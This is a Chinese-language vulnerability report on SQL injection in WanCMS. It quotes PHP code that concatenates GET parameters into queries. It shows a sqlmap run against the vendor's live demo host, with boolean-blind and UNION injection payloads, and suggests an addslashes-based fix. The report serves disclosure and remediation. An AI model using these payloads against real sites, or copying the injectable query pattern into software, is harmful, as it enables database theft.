简要描述：

WanCMS 多处SQL注射 已经在官网演示注射，可致使所有数据库信息泄露（仅演示至跑表，足矣）
举一例分析，并给出通用的修复建议

详细说明：

举一例分析：
/app/Lib/Action/AccountsAction.class.php line：570

//之前代码略，为 public function forget_password_s() 
		$username = $_GET ['username'];
                //直接获取username，为什么不用框架封装的方法取得？
		$ucresult = uc_user_checkname ( $username );
		if ($ucresult != '-3') {
			// Header("Location: /accounts/forget_password");
		}
                //测试时使用的吧？没有用处
		$this->assign ( 'username', $username );
		$member = M ( 'member' );
		$u_info = $member->where ( "username ='" . $username . "'" )->find ();
                //上面这句将username直接带入查询，引发了注射
		$this->assign ( 'u_info', $u_info );
		$this->assign ( 'username', $username );
//之后代码略，与本漏洞无关


其他注射位置：
/app/Lib/Action/LicenseAction.class.php 开头没几行

public function search(){
		$domain = $_GET['domain'];
		$authorization = M("authorization"); // 实例化authorization对象
		$info = $authorization->where("domain ='".$domain."'")->find();
		if(empty($info)){
			echo  "document.write('<a href='http://demo.31wan.cn/license/'>未授权</a>')";
		}else{
			echo "document.write('已授权')";
		}
	}


又是直接GET进查询语句，是不是都同样的道理呢？
这样的注射还有很多，就不分开提交通知了
下面进行sqlmap跑表，仅列出部分表名，理论上可以获取全部信息

漏洞证明：

演示：

C:\Users\Administrator>sqlmap.py -u "http://test4.31wan.cn/accounts/forget_password_s?username=lxj616" --tables


sqlmap identified the following injection points with a total of 59 HTTP(s) requests:
---
Place: GET
Parameter: username
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=lxj616') AND 3329=3329 AND ('MGNe'='MGNe
    Type: UNION query
    Title: MySQL UNION query (NULL) - 20 columns
    Payload: username=-5677') UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71756c7171,0x6a6546534662544b6c64,0x7168676871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind

修复方案：

使用你们自己框架带的安全函数

/**
     +----------------------------------------------------------
     * 如果 magic_quotes_gpc 为关闭状态，这个函数可以转义字符串
     +----------------------------------------------------------
     * @access public
     +----------------------------------------------------------
     * @param string $string 要处理的字符串
     +----------------------------------------------------------
     * @return string
     +----------------------------------------------------------
     */
    static public function addSlashes($string) {
        if (!get_magic_quotes_gpc()) {
            $string = addslashes($string);
        }
        return $string;
    }
    /**
     +----------------------------------------------------------
     * 从$_POST，$_GET，$_COOKIE，$_REQUEST等数组中获得数据
     +----------------------------------------------------------
     * @access public
     +----------------------------------------------------------
     * @param string $string 要处理的字符串
     +----------------------------------------------------------
     * @return string
     +----------------------------------------------------------
     */
    static public function getVar($string) {
        return Input::stripSlashes($string);
    }
    /**
     +----------------------------------------------------------
     * 如果 magic_quotes_gpc 为开启状态，这个函数可以反转义字符串
     +----------------------------------------------------------
     * @access public
     +----------------------------------------------------------
     * @param string $string 要处理的字符串
     +----------------------------------------------------------
     * @return string
     +----------------------------------------------------------
     */
    static public function stripSlashes($string) {
        if (get_magic_quotes_gpc()) {
            $string = stripslashes($string);
        }
        return $string;
    }


例：以第一个注射点为例进行修补

$username = addSlashes($_GET ['username']);
...
之后数据库中一律带着addSlashes接收
...
需要输出时（api、显示、或者就是需要原始数据）
$username_out = stripSlashes($username);


建议仔细排查代码中类似的注射点，用合理的方法修复（以上方法仅供参考）
